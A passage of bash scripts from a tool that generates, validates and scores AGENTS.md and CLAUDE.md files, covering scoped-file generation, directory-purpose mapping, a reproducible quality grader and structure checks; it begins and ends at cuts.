AGENTS.md echo "[DRY-RUN] Would symlink: $SYMLINK_FILE → AGENTS.md" else ln -sf AGENTS.md "$SYMLINK_FILE" emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md echo "✅ Symlinked: $SYMLINK_FILE → AGENTS.md" fi elif [ "$FORCE" = true ]; then if [ "$DRY_RUN" = true ]; then emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md echo "[DRY-RUN] Would replace: $SYMLINK_FILE → AGENTS.md (--force)" else rm -f "$SYMLINK_FILE" ln -s AGENTS.md "$SYMLINK_FILE" emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md echo "✅ Replaced: $SYMLINK_FILE → AGENTS.md (--force)" fi else report_kept_file "$SYMLINK_FILE" "$symlink_name" fi done fi # Generate scoped AGENTS.md files SCOPE_COUNT=$(echo "$SCOPES_INFO" | jq '.scopes | length') if [ "$SCOPE_COUNT" -eq 0 ]; then log "No scopes detected (no directories with sufficient source files)" else log "Generating $SCOPE_COUNT scoped AGENTS.md files..." while read -r scope; do SCOPE_PATH=$(echo "$scope" | jq -r '.path') SCOPE_TYPE=$(echo "$scope" | jq -r '.type') SCOPE_FILE="$PROJECT_DIR/$SCOPE_PATH/AGENTS.md" if [ -f "$SCOPE_FILE" ] && [ "$FORCE" = false ] && [ "$UPDATE_ONLY" = false ]; then emit_op keep agents-file "$SCOPE_FILE" reason "already exists" log "Scoped AGENTS.md already exists: $SCOPE_PATH, skipping" continue fi if [ "$DRY_RUN" = true ]; then emit_op write agents-file "$SCOPE_FILE" echo "[DRY-RUN] Would create/update: $SCOPE_FILE" continue fi # Select template based on scope type SCOPE_TEMPLATE="$TEMPLATE_DIR/scoped/$SCOPE_TYPE.md" if [ ! -f "$SCOPE_TEMPLATE" ]; then log "No template for scope type: $SCOPE_TYPE, skipping $SCOPE_PATH" continue fi # Try to extract commands from scope directory (for monorepos) SCOPE_COMMANDS="" if [ -f "$SCOPE_PATH/package.json" ] || [ -f "$SCOPE_PATH/composer.json" ] || [ -f "$SCOPE_PATH/pyproject.toml" ] || [ -f "$SCOPE_PATH/go.mod" ]; then SCOPE_COMMANDS=$("$SCRIPT_DIR/extract-commands.sh" "$SCOPE_PATH" 2>/dev/null || echo '') log "Found scope-local config in $SCOPE_PATH" fi # Fall back to root commands if scope has no local config [ -z "$SCOPE_COMMANDS" ] && SCOPE_COMMANDS="$COMMANDS" # Prepare scoped template variables declare -A scope_vars scope_vars[TIMESTAMP]=$(get_timestamp) scope_vars[SCOPE_NAME]=$(basename "$SCOPE_PATH") scope_vars[SCOPE_DESCRIPTION]=$(get_scope_description "$SCOPE_TYPE") scope_vars[FILE_PATH]="<file>" scope_vars[HOUSE_RULES]="" # Helper to only set var if value is non-empty (leaves placeholder for row deletion) set_scope_if_present() { local key="$1" local value="$2" if [ -n "$value" ] && [ "$value" != "null" ]; then scope_vars[$key]="$value" fi return 0 } # Generate scope-specific file map # Usage: generate_scope_file_map <path> <ext1> [ext2] [ext3]... generate_scope_file_map() { local scope_path="$1" shift # Remove first arg, leaving extensions local extensions=("$@") local result="" # Build find pattern for multiple extensions local find_args=() for ext in "${extensions[@]}"; do if [[ ${#find_args[@]} -gt 0 ]]; then find_args+=("-o") fi find_args+=("-name" "*.$ext") done # Find key files (most recently modified, largest, or entry points) local files files=$(find "$scope_path" -maxdepth 2 -type f \( "${find_args[@]}" \) 2>/dev/null | head -5) if [ -n "$files" ]; then result="| File | Purpose |\n|------|---------|" while IFS= read -r file; do local rel_path="${file#"$PROJECT_DIR"/}" # Try to extract purpose from first docblock or comment local purpose purpose=$(head -20 "$file" 2>/dev/null | grep -E '^\s*(//|#|\*|/\*\*)' | head -1 | sed 's/^[[:space:]]*[/*#]*[[:space:]]*//' | cut -c1-50) [ -z "$purpose" ] && purpose="(add description)" result="$result\n| \`$rel_path\` | $purpose |" done <<< "$files" fi echo -e "$result" } # Generate scope-specific golden samples # Usage: generate_scope_golden_samples <path> <ext1> [ext2] [ext3]... generate_scope_golden_samples() { local scope_path="$1" shift # Remove first arg, leaving extensions local extensions=("$@") local result="" # Build find pattern for multiple extensions local find_args=() for ext in "${extensions[@]}"; do if [[ ${#find_args[@]} -gt 0 ]]; then find_args+=("-o") fi find_args+=("-name" "*.$ext") done # Look for well-documented files with tests local sample # shellcheck disable=SC2038 # Source files rarely have special chars sample=$(find "$scope_path" -maxdepth 2 -type f \( "${find_args[@]}" \) 2>/dev/null | \ xargs -I{} sh -c 'wc -l "{}" | grep -v "^0"' 2>/dev/null | \ sort -rn | head -1 | awk '{print $2}') if [ -n "$sample" ] && [ -f "$sample" ]; then local rel_path="${sample#"$PROJECT_DIR"/}" result="| Pattern | Reference |\n|---------|-----------|" result="$result\n| Standard implementation | \`$rel_path\` |" fi echo -e "$result" } # Language-specific variables case "$SCOPE_TYPE" in "backend-go") scope_vars[GO_VERSION]="$VERSION" scope_vars[GO_MINOR_VERSION]=$(echo "$VERSION" | cut -d. -f2) scope_vars[GO_TOOLS]="golangci-lint, gofmt" scope_vars[ENV_VARS]="See .env.example" set_scope_if_present BUILD_CMD "$(echo "$SCOPE_COMMANDS" | jq -r '.build // empty')" # Build whole-line placeholders for setup section scope_vars[INSTALL_LINE]="- Install: \`go mod download\`" [ -n "${scope_vars[GO_VERSION]:-}" ] && [ "${scope_vars[GO_VERSION]}" != "unknown" ] && \ scope_vars[GO_VERSION_LINE]="- Go version: ${scope_vars[GO_VERSION]}" [ -n "${scope_vars[GO_TOOLS]:-}" ] && \ scope_vars[GO_TOOLS_LINE]="- Required tools: ${scope_vars[GO_TOOLS]}" [ -n "${scope_vars[ENV_VARS]:-}" ] && \ scope_vars[ENV_VARS_LINE]="- Environment variables: ${scope_vars[ENV_VARS]}" # Build whole-line placeholders for commands section scope_vars[VET_LINE]="- Vet (static analysis): \`go vet ./...\`" scope_vars[FORMAT_LINE]="- Format: \`gofmt -w .\`" scope_vars[LINT_LINE]="- Lint: \`golangci-lint run ./...\`" scope_vars[TEST_LINE]="- Test: \`go test -v -race ./...\`" scope_vars[TEST_SINGLE_LINE]="- Test specific: \`go test -v -race -run TestName ./...\`" [ -n "${scope_vars[BUILD_CMD]: -
generate-file-map.sh 4.3 KB
#!/usr/bin/env bash # Generate file map (dir → purpose) for AGENTS.md set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Check if git is available if ! git rev-parse --git-dir > /dev/null 2>&1; then echo "# Not a git repository - cannot generate file map" >&2 echo "" exit 0 fi # Map of known directory names to their purposes declare -A DIR_PURPOSES=( # Source directories ["src"]="application source code" ["lib"]="library code" ["app"]="application code (routes, pages)" ["pkg"]="public packages" ["internal"]="internal packages (not exported)" # Language-specific ["cmd"]="CLI entrypoints" ["Classes"]="PHP classes (PSR-4)" ["Configuration"]="framework configuration" # Frontend ["components"]="UI components" ["pages"]="page components/routes" ["views"]="view templates" ["layouts"]="layout components" ["hooks"]="React/Vue hooks" ["stores"]="state management" ["styles"]="CSS/styling" ["assets"]="static assets (images, fonts)" ["public"]="public static files" # Backend ["api"]="API routes/handlers" ["routes"]="route definitions" ["controllers"]="request handlers" ["services"]="business logic" ["models"]="data models" ["entities"]="database entities" ["repositories"]="data access layer" ["middleware"]="request middleware" # Infrastructure ["scripts"]="automation scripts" ["bin"]="compiled binaries" ["build"]="build output" ["dist"]="distribution files" ["vendor"]="third-party dependencies (do not edit)" ["node_modules"]="npm dependencies (do not edit)" # Testing ["tests"]="test suites" ["test"]="test suites" ["Tests"]="test suites" ["__tests__"]="Jest test suites" ["testutil"]="test utilities" ["fixtures"]="test fixtures" ["mocks"]="test mocks" # Documentation ["docs"]="documentation" ["Documentation"]="documentation (RST/MD)" ["doc"]="documentation" # Configuration ["config"]="configuration files" ["configs"]="configuration files" [".github"]="GitHub Actions, templates" [".gitlab"]="GitLab CI configuration" # Data ["migrations"]="database migrations" ["seeds"]="database seeds" ["data"]="data files" ["Resources"]="templates and assets" # Examples ["examples"]="usage examples" ["example"]="usage examples" ["samples"]="sample code" ) # Get top-level directories with file counts get_directories() { git ls-files | cut -d/ -f1 | sort | uniq -c | sort -rn | while read -r count dir; do # Skip files (no directory) [[ "$dir" == *.* ]] && continue # Skip hidden except .github/.gitlab [[ "$dir" == .* ]] && [[ "$dir" != ".github" ]] && [[ "$dir" != ".gitlab" ]] && continue echo "$count $dir" done } # Infer purpose from directory contents if not in known list infer_purpose() { local dir="$1" # Check for specific file patterns if compgen -G "$dir/*.go" > /dev/null; then echo "Go packages" elif compgen -G "$dir/*.py" > /dev/null; then echo "Python modules" elif compgen -G "$dir/*.php" > /dev/null; then echo "PHP classes" elif compgen -G "$dir/*.ts" > /dev/null; then echo "TypeScript modules" elif compgen -G "$dir/*.tsx" > /dev/null; then echo "React components" elif compgen -G "$dir/*.vue" > /dev/null; then echo "Vue components" elif compgen -G "$dir/*.sh" > /dev/null; then echo "shell scripts" elif compgen -G "$dir/*.md" > /dev/null; then echo "documentation" elif compgen -G "$dir/*.json" > /dev/null; then echo "configuration/data" else echo "project files" fi } # Generate the file map generate_map() { local max_dirs=15 # Limit to top 15 directories while read -r count dir; do [ -z "$dir" ] && continue [ "$max_dirs" -le 0 ] && break local purpose="" if [ -n "${DIR_PURPOSES[$dir]:-}" ]; then purpose="${DIR_PURPOSES[$dir]}" else purpose=$(infer_purpose "$dir") fi # Format: dir/ → purpose # Pad directory name for alignment printf "%-16s → %s\n" "${dir}/" "$purpose" ((max_dirs--)) done < <(get_directories) } # Output the file map generate_map -
score-agents.sh 9.8 KB
#!/usr/bin/env bash # score-agents.sh - Grade AGENTS.md files with a reproducible quality score. # # Aggregates the --json output of the four verifier scripts into a per-file # letter grade (A-F) on a 0-100 scale, ranked worst-first so you know where to # spend effort. Reproducible: re-running on an unchanged tree yields the same # grade (no model call, CI-friendly). One caveat - the Currency axis can shift # within a day for a file whose "Last updated" date is today, because # check-freshness.sh uses git's bare-date --since. # # Five script-measured axes (max points): # Structure 25 | Currency 20 | Content 20 | Commands 15 (root only) | Conciseness 20 # A file's percentage = earned / (sum of applicable axis maxima) * 100. # Scoped files have no Commands axis; their maxima sum to 85 and normalise to 100. # # Grades: A >=90 B >=75 C >=50 D >=30 F <30 # # A separate, QUALITATIVE LLM overlay (Architecture / Actionability / # Non-obvious-patterns) is NOT part of this number - it varies run to run. See # references/quality-rubric.md for how an agent layers that review on top. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" PROJECT_DIR="" JSON=false REVIEW_FILE="" while [[ $# -gt 0 ]]; do case $1 in --json) JSON=true shift ;; --review) REVIEW_FILE="${2:-}" shift 2 ;; --review=*) REVIEW_FILE="${1#*=}" shift ;; --help|-h) cat <<EOF Usage: score-agents.sh [PROJECT_DIR] [OPTIONS] Grade AGENTS.md files with a reproducible 0-100 quality score (worst-first). Options: --json Emit the machine-readable scoring document on stdout --review FILE Add a secondary, NON-reproducible "with review" grade from a JSON of agent-judged LLM-axis ratings (see quality-rubric.md): { "PATH": {"architecture":"strong|adequate|weak", "actionability":"...","non_obvious":"..."}, ... } --help, -h Show this help message Axes: Structure 25 | Currency 20 | Content 20 | Commands 15 (root) | Conciseness 20 Grades: A >=90 B >=75 C >=50 D >=30 F <30 The deterministic score never changes on an unchanged tree. The --review overlay (Architecture, Actionability, Non-obvious patterns) varies and is shown separately. EOF exit 0 ;; *) PROJECT_DIR="$1" shift ;; esac done PROJECT_DIR="${PROJECT_DIR:-.}" if ! command -v jq >/dev/null 2>&1; then echo "Error: jq is required" >&2 exit 2 fi # Optional LLM-axis ratings for the secondary "with review" grade. REVIEW_JSON='{}' if [[ -n "$REVIEW_FILE" ]]; then if [[ -f "$REVIEW_FILE" ]] && jq -e . "$REVIEW_FILE" >/dev/null 2>&1; then REVIEW_JSON=$(cat "$REVIEW_FILE") else echo "Error: --review file missing or not valid JSON: $REVIEW_FILE" >&2 exit 2 fi fi # Run a verifier in --json mode; tolerate its non-zero "issues found" exit and # its human stderr. Echo '{}' if it produced nothing parseable so jq stays happy. run_json() { local script="$1" shift local out out=$(bash "$SCRIPT_DIR/$script" "$PROJECT_DIR" --json "$@" 2>/dev/null || true) if [[ -n "$out" ]] && printf '%s' "$out" | jq -e . >/dev/null 2>&1; then printf '%s' "$out" else echo '{}' fi return 0 } STRUCT_JSON=$(run_json validate-structure.sh) FRESH_JSON=$(run_json check-freshness.sh) CONTENT_JSON=$(run_json verify-content.sh) COMMANDS_JSON=$(run_json verify-commands.sh) # Spine = the files validate-structure reports (it already excludes vendored # example fixtures). Precompute a path -> line-count map for the Conciseness axis. mapfile -t SPINE < <(printf '%s' "$STRUCT_JSON" | jq -r '(.files // [])[].path') # Build the path -> line-count map in a SINGLE jq pass (tab-separated stream) # rather than spawning jq once per file. LINES_JSON=$( for path in "${SPINE[@]}"; do full="$PROJECT_DIR/$path" n=0 [[ -f "$full" ]] && n=$(wc -l < "$full" | tr -d ' ') printf '%s\t%s\n' "$path" "$n" done | jq -Rs 'split("\n") | map(select(. != "")) | map(split("\t")) | map({key: .[0], value: (.[1]|tonumber)}) | from_entries' ) # --- Scoring (single jq pass; pure function of its inputs => reproducible) ----- SCORING=$(jq -nc \ --argjson struct "$STRUCT_JSON" \ --argjson fresh "$FRESH_JSON" \ --argjson content "$CONTENT_JSON" \ --argjson commands "$COMMANDS_JSON" \ --argjson lines "$LINES_JSON" \ --argjson review "$REVIEW_JSON" \ ' def clamp(max): if . < 0 then 0 elif . > max then max else . end; def grade(p): if p>=90 then "A" elif p>=75 then "B" elif p>=50 then "C" elif p>=30 then "D" else "F" end; def frac(r): if r=="strong" then 1.0 elif r=="adequate" then 0.6 else 0.2 end; ($fresh.files // [] | map({(.path): .}) | add // {}) as $fmap | ($commands.summary // {passed:0,skipped:0,failed:0}) as $cmd | (($cmd.passed // 0) + ($cmd.failed // 0)) as $cmdTotal | [ ($struct.files // [])[] | .path as $p | .role as $role | (.errors // 0) as $se | (.warnings // 0) as $sw | # Structure (25) ((25 - $se*5 - $sw*2) | clamp(25)) as $structure | # Currency (20) ($fmap[$p]) as $fr | ( if $fr == null then 8 elif $fr.status == "fresh" then 20 elif $fr.status == "unknown" then 8 else ( ($fr.commits_since // 0) as $c | if $c <= 7 then 15 elif $c <= 14 then 11 elif $c <= 30 then 7 else 4 end ) end ) as $currency | # Content (20) - issues attributed to this file ( [ ($content.issues // [])[] | select(.file == $p) ] ) as $ci | ( [ $ci[] | select(.severity=="ERROR") ] | length ) as $ce | ( [ $ci[] | select(.severity=="WARN") ] | length ) as $cw | ((20 - $ce*5 - $cw*2) | clamp(20)) as $content_s | # Conciseness (20) - by role, from line count ($lines[$p] // 0) as $ln | ( if $role == "root" then ( if $ln<=50 then 20 elif $ln<=80 then 16 elif $ln<=150 then 10 else 5 end ) else ( if $ln<=150 then 20 elif $ln<=250 then 15 else 8 end ) end ) as $concise | # Commands (15) - root only, and only if there are verifiable commands ( if $role=="root" and $cmdTotal>0 then { applies:true, score: (($cmd.passed*15/$cmdTotal)|floor) } else { applies:false, score:0 } end ) as $commands_axis | ( 25+20+20+20 + (if $commands_axis.applies then 15 else 0 end) ) as $maxApplicable | ( $structure+$currency+$content_s+$concise + $commands_axis.score ) as $earned | (($earned*100/$maxApplicable)|round) as $pct | # Optional qualitative overlay (non-reproducible): blend agent-judged LLM # axes (Architecture 10 / Actionability 8 / Non-obvious 7) into a secondary # grade. Only present when --review supplied a rating for this path. ($review[$p]) as $rv | ( if $rv == null then null else (frac($rv.architecture // "weak")*10 + frac($rv.actionability // "weak")*8 + frac($rv.non_obvious // "weak")*7) end ) as $llm | ( if $llm == null then null else ((($earned + $llm) * 100 / ($maxApplicable + 25)) | round) end ) as $blended | { path:$p, role:$role, percent:$pct, grade: grade($pct), review: (if $rv == null then null else {ratings:$rv, blended_percent:$blended, blended_grade:grade($blended)} end), axes: { structure: {score:$structure, max:25}, currency: {score:$currency, max:20}, content: {score:$content_s, max:20}, conciseness: {score:$concise, max:20}, commands: (if $commands_axis.applies then {score:$commands_axis.score, max:15} else {score:null, max:null, note:"n/a (scoped / no verifiable commands)"} end) } } ] | sort_by(.percent) as $files | ( [ $files[] | select(.review != null) ] ) as $reviewed | { schema:1, summary: { files: ($files|length), average: (if ($files|length)>0 then (([$files[].percent]|add)/($files|length))|round else 0 end), grade_counts: ($files | group_by(.grade) | map({(.[0].grade): length}) | add // {}), reviewed: ($reviewed|length), blended_average: (if ($reviewed|length)>0 then (([$reviewed[].review.blended_percent]|add)/($reviewed|length))|round else null end) }, files: $files } ') if [[ "$JSON" = true ]]; then printf '%s\n' "$SCORING" | jq . exit 0 fi # --- Human report (rendered from the deterministic scoring document) ---------- printf '%s' "$SCORING" | jq -r ' "AGENTS.md Quality Report - " + (.summary.files|tostring) + " file(s), average " + (.summary.average|tostring) + "/100 (worst-first)" + (if .summary.blended_average != null then "; with-review avg ~" + (.summary.blended_average|tostring) else "" end), "", ( .files[] | " " + (.grade) + " " + ((.percent|tostring)+"/100" | (. + (" " * (8 - (.|length))))) + " " + .path, " structure " + (.axes.structure.score|tostring) + "/25" + " currency " + (.axes.currency.score|tostring) + "/20" + " content " + (.axes.content.score|tostring) + "/20" + " conciseness " + (.axes.conciseness.score|tostring) + "/20" + (if .axes.commands.score != null then " commands " + (.axes.commands.score|tostring) + "/15" else "" end), ( if .review != null then " with review: " + .review.blended_grade + " ~" + (.review.blended_percent|tostring) + "/100 (non-reproducible)" else empty end ) ) ' echo "" echo "Headline grades are deterministic (reproducible). Any 'with review' line is a" echo "qualitative LLM overlay (non-reproducible) - see references/quality-rubric.md." -
validate-structure.sh 13.2 KB
#!/usr/bin/env bash # Validate AGENTS.md structure compliance and optionally check freshness # Note: -e intentionally omitted - we accumulate errors and report at end set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # Scope-index heading regex (ERE). Matches both the current template heading # "## Scoped AGENTS.md (MUST read ...)" and the legacy "## Index of scoped # AGENTS.md" so validation stays in sync with generate-agents.sh output and # remains backward-compatible with files produced by older versions. # Case-tolerant via bracket classes (not grep -i / sed I) so the same regex # works in grep -E and sed -E on both GNU and BSD (#81): older generated roots # use the title-case "## Index of Scoped AGENTS.md". SCOPE_INDEX_HEADING_RE='^## ([Ii]ndex of [Ss]coped|[Ss]coped) AGENTS\.md' # Default options PROJECT_DIR="" CHECK_FRESHNESS=false VERBOSE=false JSON=false # Parse flags while [[ $# -gt 0 ]]; do case $1 in --check-freshness|-f) CHECK_FRESHNESS=true shift ;; --verbose|-v) VERBOSE=true shift ;; --json) JSON=true shift ;; --help|-h) cat <<EOF Usage: validate-structure.sh [PROJECT_DIR] [OPTIONS] Validate AGENTS.md structure compliance and optionally check freshness. Options: --check-freshness, -f Also check if files are up to date with git commits --verbose, -v Show detailed output --json Emit machine-readable JSON on stdout (structure only) --help, -h Show this help message Examples: validate-structure.sh . # Structure check only validate-structure.sh . --check-freshness # Structure + freshness check validate-structure.sh . -f -v # Full check with details EOF exit 0 ;; *) PROJECT_DIR="$1" shift ;; esac done PROJECT_DIR="${PROJECT_DIR:-.}" cd "$PROJECT_DIR" || exit 1 ERRORS=0 WARNINGS=0 # --json state: each helper records the outcome of the just-run check so that # record_check can attach it to a per-file record. Default-path output is unchanged. LAST_STATUS="" LAST_DETAIL="" declare -A FILE_CHECKS_JSON=() declare -A FILE_ROLE=() error() { echo "❌ ERROR: $*" ((ERRORS+=1)) LAST_STATUS="fail"; LAST_DETAIL="$*" } warning() { echo "⚠️ WARNING: $*" ((WARNINGS+=1)) LAST_STATUS="warn"; LAST_DETAIL="$*" } success() { echo "✅ $*" LAST_STATUS="pass"; LAST_DETAIL="$*" } info() { echo "ℹ️ $*" LAST_STATUS="pass"; LAST_DETAIL="$*" } # Record the just-run check (LAST_STATUS/LAST_DETAIL) under a relative file path. # No-op unless --json; never writes to stdout. record_check() { [[ "$JSON" = true ]] || return 0 local path="$1" name="$2" obj obj=$(jq -nc --arg name "$name" --arg status "$LAST_STATUS" --arg detail "$LAST_DETAIL" \ '{name:$name,status:$status,detail:$detail}') FILE_CHECKS_JSON["$path"]="${FILE_CHECKS_JSON["$path"]:-}${obj}"$'\n' } # Check if file has managed header check_managed_header() { local file="$1" if grep -q "^<!-- Managed by agent:" "$file"; then success "Managed header present: $file" return 0 else warning "Missing managed header: $file" return 1 fi } # Check if root is thin (≤50 lines or has scope index) check_root_is_thin() { local file="$1" local line_count line_count=$(wc -l < "$file") if [ "$line_count" -le 50 ]; then success "Root is thin: $line_count lines" return 0 elif grep -qE "$SCOPE_INDEX_HEADING_RE" "$file"; then success "Root has scope index (verbose style acceptable)" return 0 else error "Root is bloated: $line_count lines and no scope index (expected an '## Index of scoped AGENTS.md' or '## Scoped AGENTS.md ...' heading)" return 1 fi } # Check if root has precedence statement check_precedence_statement() { local file="$1" if grep -qi "precedence" "$file" && grep -qi "closest.*AGENTS.md.*wins" "$file"; then success "Precedence statement present" return 0 else error "Missing precedence statement in root" return 1 fi } # Check if scoped file has all required sections (with alternatives) check_scoped_sections() { local file="$1" # Each entry: "Display Name|pattern1|pattern2|..." local section_patterns=( "Overview|## Overview" "Setup|## Setup|## Environment|## Prerequisites|## Getting Started|## Workflow files" "Build/Tests|## Build|## Tests|## Running|## Commands|## Common patterns" "Code style|## Code style|## Style|## Conventions|## Workflow conventions" "Security|## Security" "Checklist|## PR|## Commit|## Checklist" "Examples|## Good vs|## Examples|## Bad examples|## Patterns to Follow" "When stuck|## When stuck|## Help|## Resources|## Troubleshooting" ) local missing=() for entry in "${section_patterns[@]}"; do local name="${entry%%|*}" local patterns="${entry#*|}" local found=false # Try each pattern IFS='|' read -ra pattern_array <<< "$patterns" for pattern in "${pattern_array[@]}"; do if grep -qi "^$pattern" "$file"; then found=true break fi done if [ "$found" = false ]; then missing+=("$name") fi done if [ ${#missing[@]} -eq 0 ]; then success "All required sections present: $file" return 0 else error "Missing sections in $file: ${missing[*]}" return 1 fi } # Check if scope index links work check_scope_links() { local root_file="$1" if ! grep -qE "$SCOPE_INDEX_HEADING_RE" "$root_file"; then # No scope index (thin root without scopes) -- nothing to check. Set an # explicit status so a subsequent record_check does not reuse the # previous check's LAST_STATUS/LAST_DETAIL in --json mode. LAST_STATUS="pass"; LAST_DETAIL="No scope index (no scoped files to link)" return 0 fi # Extract links from scope index local links links=$(sed -nE "/$SCOPE_INDEX_HEADING_RE/,/^##/p" "$root_file" | grep -o '\./[^)]*AGENTS.md' || true) if [ -z "$links" ]; then # Empty scope index with AGENTS-GENERATED markers is valid (placeholder) if grep -q "<!-- AGENTS-GENERATED:START scope-index -->" "$root_file" && \ grep -q "<!-- AGENTS-GENERATED:END scope-index -->" "$root_file"; then info "Scope index is empty (placeholder)" return 0 fi warning "Scope index present but no links found" return 1 fi local broken=() while read -r link; do # Remove leading ./ local clean_link="${link#./}" local full_path="$PROJECT_DIR/$clean_link" if [ ! -f "$full_path" ]; then broken+=("$link") fi done <<< "$links" if [ ${#broken[@]} -eq 0 ]; then success "All scope index links work" return 0 else error "Broken scope index links: ${broken[*]}" return 1 fi } # Check CLAUDE.md symlink exists alongside an AGENTS.md file check_claude_symlink() { local agents_file="$1" local dir dir=$(dirname "$agents_file") local claude_file="$dir/CLAUDE.md" local rel_dir="${dir#"$PROJECT_DIR"}" [ -z "$rel_dir" ] && rel_dir="(root)" if [ -L "$claude_file" ]; then local target target=$(readlink "$claude_file") if [ "$target" = "AGENTS.md" ]; then success "CLAUDE.md symlink correct: $rel_dir" return 0 else error "CLAUDE.md symlink points to '$target', expected 'AGENTS.md': $rel_dir" return 1 fi elif [ -f "$claude_file" ]; then # A regular file with an @AGENTS.md import line is fully valid: some # directories cannot hold symlinks (the TYPO3 docs renderer lists # Documentation/ via Flysystem, which aborts on symlinks -- #82). if grep -qE '^@AGENTS\.md[[:space:]]*$' "$claude_file"; then success "CLAUDE.md import file (@AGENTS.md): $rel_dir" return 0 fi warning "CLAUDE.md is a regular file, not a symlink to AGENTS.md (add an '@AGENTS.md' import line or replace with a symlink): $rel_dir" return 1 else error "Missing CLAUDE.md symlink to AGENTS.md: $rel_dir (Claude Code won't read AGENTS.md without it)" return 1 fi } # In JSON mode, route all human-readable output to /dev/null and reserve the # original stdout (fd 3) for the single JSON document emitted at the end. if [[ "$JSON" = true ]]; then exec 3>&1 1>/dev/null fi # Main validation echo "Validating AGENTS.md structure in: $PROJECT_DIR" echo "" # Check root AGENTS.md ROOT_FILE="$PROJECT_DIR/AGENTS.md" if [ ! -f "$ROOT_FILE" ]; then error "Root AGENTS.md not found" else echo "=== Root AGENTS.md ===" FILE_ROLE["AGENTS.md"]="root" check_managed_header "$ROOT_FILE"; record_check "AGENTS.md" "managed_header" check_root_is_thin "$ROOT_FILE"; record_check "AGENTS.md" "root_is_thin" check_precedence_statement "$ROOT_FILE"; record_check "AGENTS.md" "precedence" check_scope_links "$ROOT_FILE"; record_check "AGENTS.md" "scope_links" echo "" fi # Check CLAUDE.md symlinks echo "=== CLAUDE.md Symlinks ===" ALL_AGENTS_FILES=$(find "$PROJECT_DIR" -name "AGENTS.md" \ -not -path "*/references/examples/*" \ -not -path "*/examples/*" \ -not -path "*/.git/*" \ -not -path "*/vendor/*" \ -not -path "*/node_modules/*" \ -not -path "*/.Build/*" \ 2>/dev/null || true) if [ -n "$ALL_AGENTS_FILES" ]; then while read -r file; do check_claude_symlink "$file" sym_rel="${file#"$PROJECT_DIR"/}"; sym_rel="${sym_rel#./}" record_check "$sym_rel" "claude_symlink" done <<< "$ALL_AGENTS_FILES" fi echo "" # Check scoped AGENTS.md files (exclude reference examples and dependency trees: # third-party AGENTS.md files are not the project's to fix -- #84) SCOPED_FILES=$(find "$PROJECT_DIR" -name "AGENTS.md" \ -not -path "$ROOT_FILE" \ -not -path "*/references/examples/*" \ -not -path "*/examples/*" \ -not -path "*/.git/*" \ -not -path "*/vendor/*" \ -not -path "*/node_modules/*" \ -not -path "*/.Build/*" \ 2>/dev/null || true) if [ -n "$SCOPED_FILES" ]; then echo "=== Scoped AGENTS.md Files ===" while read -r file; do rel_path="${file#"$PROJECT_DIR"/}" echo "Checking: $rel_path" json_key="${rel_path#./}" FILE_ROLE["$json_key"]="scoped" check_managed_header "$file"; record_check "$json_key" "managed_header" check_scoped_sections "$file"; record_check "$json_key" "required_sections" echo "" done <<< "$SCOPED_FILES" fi # Emit JSON document and exit before the human summary. JSON mode is structure-only # and deliberately does NOT run the --check-freshness shell-out below (score-agents # calls check-freshness.sh --json itself), keeping the two signals decoupled. if [[ "$JSON" = true ]]; then json_files=() if [[ "${#FILE_CHECKS_JSON[@]}" -gt 0 ]]; then while IFS= read -r path; do [[ -z "$path" ]] && continue checks_json=$(printf '%s' "${FILE_CHECKS_JSON[$path]}" | jq -s '.') json_files+=("$(jq -nc \ --arg path "$path" \ --arg role "${FILE_ROLE[$path]:-scoped}" \ --argjson checks "$checks_json" \ '{path:$path,role:$role, errors:($checks|map(select(.status=="fail"))|length), warnings:($checks|map(select(.status=="warn"))|length), checks:$checks}')") done < <(printf '%s\n' "${!FILE_CHECKS_JSON[@]}" | sort) fi if [[ "${#json_files[@]}" -eq 0 ]]; then files_json='[]' else files_json=$(printf '%s\n' "${json_files[@]}" | jq -s '.') fi jq -nc \ --argjson files "$files_json" \ --argjson e "$ERRORS" \ --argjson w "$WARNINGS" \ '{script:"validate-structure",schema:1,summary:{errors:$e,warnings:$w},files:$files}' >&3 if [[ "$ERRORS" -eq 0 ]]; then exit 0; else exit 1; fi fi # Summary echo "=== Structure Validation Summary ===" if [ $ERRORS -eq 0 ] && [ $WARNINGS -eq 0 ]; then echo "✅ All structure checks passed!" elif [ $ERRORS -eq 0 ]; then echo "⚠️ Structure validation passed with $WARNINGS warning(s)" else echo "❌ Structure validation failed with $ERRORS error(s) and $WARNINGS warning(s)" fi # Run freshness check if requested if [ "$CHECK_FRESHNESS" = true ]; then echo "" echo "=== Freshness Check ===" FRESHNESS_ARGS="" [ "$VERBOSE" = true ] && FRESHNESS_ARGS="--verbose" if "$SCRIPT_DIR/check-freshness.sh" "$PROJECT_DIR" $FRESHNESS_ARGS; then echo "✅ All files are up to date!" else # Freshness issues are warnings, not errors ((WARNINGS+=1)) fi fi echo "" echo "=== Final Summary ===" if [ $ERRORS -eq 0 ] && [ $WARNINGS -eq 0 ]; then echo "✅ All checks passed!" exit 0 elif [ $ERRORS -eq 0 ]; then echo "⚠️ Passed with $WARNINGS warning(s)" exit 0 else echo "❌ Failed with $ERRORS error(s) and $WARNINGS warning(s)" exit 1 fi -
verify-commands.sh 26.5 KB
#!/usr/bin/env bash # Verify that commands documented in AGENTS.md actually work # This prevents "command rot" - documented commands that no longer exist # Requires: Bash 4.0+ (for associative arrays) set -euo pipefail # Check Bash version - we need 4.0+ for associative arrays (declare -A) if ((BASH_VERSINFO[0] < 4)); then echo "Error: Bash 4.0+ required (found ${BASH_VERSION})." >&2 echo "On macOS: brew install bash" >&2 exit 1 fi PROJECT_DIR="." JSON=false # Parse flags. Preserves the original positional semantics (PROJECT_DIR="${1:-.}"): # the first non-flag argument becomes PROJECT_DIR, defaulting to "." when absent. while [[ $# -gt 0 ]]; do case $1 in --json) JSON=true shift ;; --help|-h) cat <<EOF Usage: verify-commands.sh [PROJECT_DIR] [OPTIONS] Verify that commands documented in AGENTS.md actually exist (and optionally run). Options: --json Emit machine-readable JSON on stdout (human output suppressed) --help, -h Show this help message Environment variables: VERBOSE=true Show detailed [INFO] output on stderr DRY_RUN=true Skip writing the JSON sidecar and updating timestamps SMOKE_TEST=true Actually run safe commands (not just check existence) TIMEOUT=SECONDS Per-command timeout for smoke tests (default: 60) 